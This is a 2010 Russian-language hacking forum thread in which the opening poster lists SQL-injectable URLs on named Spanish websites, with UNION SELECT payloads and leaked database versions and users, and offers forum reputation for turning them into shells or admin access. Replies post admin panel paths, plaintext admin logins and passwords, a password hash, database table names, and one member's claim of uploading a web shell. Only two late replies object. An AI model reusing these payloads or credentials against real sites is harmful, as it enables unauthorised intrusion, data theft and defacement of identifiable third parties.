SQL - inj на .ES сайтах, угощайтесь !11

Discussion in 'Песочница' started by [Dark Green], 20 Nov 2010.

Thread Status:
Not open for further replies.
  1. [Dark Green]

    [Dark Green] Banned

    Joined:
    13 May 2010
    Messages:
    188
    Likes Received:
    430
    Reputations:
    567
    Хекал испанские порталы и кое что осталось... Вот решил поделиться) Заодно посмотреть/проверить Ваши знания. Есть шанс немного проявить себя ;)
    За каждую скулю, раскрученную до шелла Вы получите 1-3 к грин репе и 5-15 к репе(в зависимости от способа заливки), за доступ в админку(путь к админке, логин и пасс админа) 1-2 грин репы и 1-10 репы.

    тиц 40 пр7
    Code:
    http://www.eaea.org/es/topics.php?topic=218' 
    pr 5
    Code:
    http://www.memorimagefestival.org/es/news.php?id=43'
    pr 5
    Code:
    http://www.elp.uji.es/news.php?id=9+and+1=0+union+select+1,2,3,4,5,6,7--
    pr 4
    Code:
    http://www.hamo.es/es/news.php?id=21'
    pr 4
    Code:
    http://www.vigoempresa.com/html/es/news.php?id=729'
    pr 3
    Code:
    http://www.coupdefouet.eu/es/news.php?year=2009&month=07&id=0'
    pr 3
    Code:
    http://http://www.look4fashion.es/es/news.php?sprog=&dage=archive&menu=ja&katagori=9'
    pr 2
    Code:
    http://www.eiffelgres.es/news.php?id=58'
    pr 2
    Code:
    http://www.eurotechcenter.es/news.php?act=readmore&id=271'
    pr 2
    Code:
    http://www.natcnc.com/es/news.php?id=4&type=nccNews'
    тиц 0 pr 0
    Code:
    http://www.franziska.es/news.php?&show_id=4&nshow=shownewscom&go=10224'
    тиц 0 pr 0
    Code:
    http://www.mantres.es/news.php?tipo=NOTICIA&id=1+and+1=0+union+select+1,2,version(),4,5,database(),7,8,user(),10,11,12--
    5.0.90
    db1usr2484
    [email protected]
    тиц 0 pr 0
    Code:
    http://www.vuototecnica.es/news.php?id=89+and+1=0+union+select+1,2,version(),4,5,6,7,8,9--
    5.0.51a-community

    По итогам темы гринрепа выросла у:
    GIG на 3 пункта
    DCrypt +2 пункта
    ~dos~ +1 пункта
    ubi +1 пункта
    Фараон получает устное замечание/предупреждение, за оффтоп. Внимательно читай первый пост и не надо имправизаций.

    Спасибо всем, кто принял участие в этой разминке) ;)
    Тему закрываем !
     
    #1 [Dark Green], 20 Nov 2010
    Last edited: 21 Nov 2010
    4 people like this.
  2. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    login=admin
    passw=123

    Админку не могу найти.
     
    1 person likes this.
  3. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    Админка:
    http://www.look4fashion.dk/x_admin/adgang.php

    DB если что: look4fashion_dk_db
    =========
     
    #3 DCrypt, 20 Nov 2010
    Last edited: 20 Nov 2010
    1 person likes this.
  4. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    User: docsbarc
    Password: 18admin24

    Админку не нашел.
    =======
     
  5. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    http://www.eurotechcenter.es/admin.php

    Юзер: ETC
    Пасс: fawaka

    Залить шелл не знаю как.
    =========
     
    1 person likes this.
  6. ~d0s~

    ~d0s~ Banned

    Joined:
    17 Apr 2010
    Messages:
    246
    Likes Received:
    257
    Reputations:
    154
    http://www.hamo.es/es/news.php?id=-21+union+select+1,2,concat_ws(0x3a,login,password),4,5,6,7,8,9+from+usuarios--

    hamo:se73rXKXniZMM

    Админку не нашел=(
     
    1 person likes this.
  7. DCrypt

    DCrypt Banned

    Joined:
    21 Jan 2010
    Messages:
    367
    Likes Received:
    35
    Reputations:
    1
    Админка:
    http://www.coupdefouet.eu/admin/index.php

    User: admin
    Pass: ю«I(ђ"њАoт‚‹© (не понятно).
     
  8. GIG

    GIG New Member

    Joined:
    17 Apr 2010
    Messages:
    46
    Likes Received:
    4
    Reputations:
    5
    Админка: http://www.memorimagefestival.org/gestor/
    Логин: docsbarc
    Пароль: 18admin24
    Шелл: http://[форбиден как бы ]


    ps админку запечатал чтобы не перезалили =/
     
    #8 GIG, 20 Nov 2010
    Last edited by a moderator: 20 Nov 2010
    2 people like this.
  9. ubi

    ubi Elder - Старейшина

    Joined:
    25 Dec 2009
    Messages:
    308
    Likes Received:
    76
    Reputations:
    19
    Админка:
    http://www.vigoempresa.com/panel/

    DB: puer24
    Таблицы:
    ve_textos
    ve_empresas_empresas_categorias
    ve_empresas_categoria
    ve_empresas
    pv_textos
    pv_news

    Испанского незнаю, ничего не нашёл.


    Аналогично:

    Админка:
    http://www.vuototecnica.es/admin
    DB: vuototec_db
    Таблицы:
    products
    product_types
    newsmodul_pics
    newsmodul_news
    newsmodul_links

    Юзеров так же не нашёл.
     
    #9 ubi, 20 Nov 2010
    Last edited: 20 Nov 2010
    3 people like this.
  10. GIG

    GIG New Member

    Joined:
    17 Apr 2010
    Messages:
    46
    Likes Received:
    4
    Reputations:
    5
    знаю , главное что шелл залил :D

    UPD - пропатчил сайт , теперь в принципе не залить шелл , восстановил админку , перезалил шелл ;)
     
    #10 GIG, 20 Nov 2010
    Last edited: 20 Nov 2010
  11. попугай

    попугай Elder - Старейшина

    Joined:
    15 Jan 2008
    Messages:
    1,520
    Likes Received:
    401
    Reputations:
    196
    Это что реабилитация топика "админки"? Постить админки и шеллы тут до добра не доведет.
     
  12. Kusto

    Kusto Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    886
    Likes Received:
    678
    Reputations:
    510
    как бы были такие темы и разделы- все это закончилось печально и глупо, вобщем я уверенн что через пару дней все сайты будут обезличенны, и раскрутить скулю на 5-ой ветке- ума много не надо.... вобщем еслиб было голосование я бы высказался за удаление данной темы....
    :)
    P.S. Y no toca Espana por favor
     
    1 person likes this.
Loading...
Similar Threads - сайтах угощайтесь
  1. zase
    Replies:
    1
    Views:
    3,544
  2. Shadows_God
    Replies:
    14
    Views:
    8,052
Thread Status:
Not open for further replies.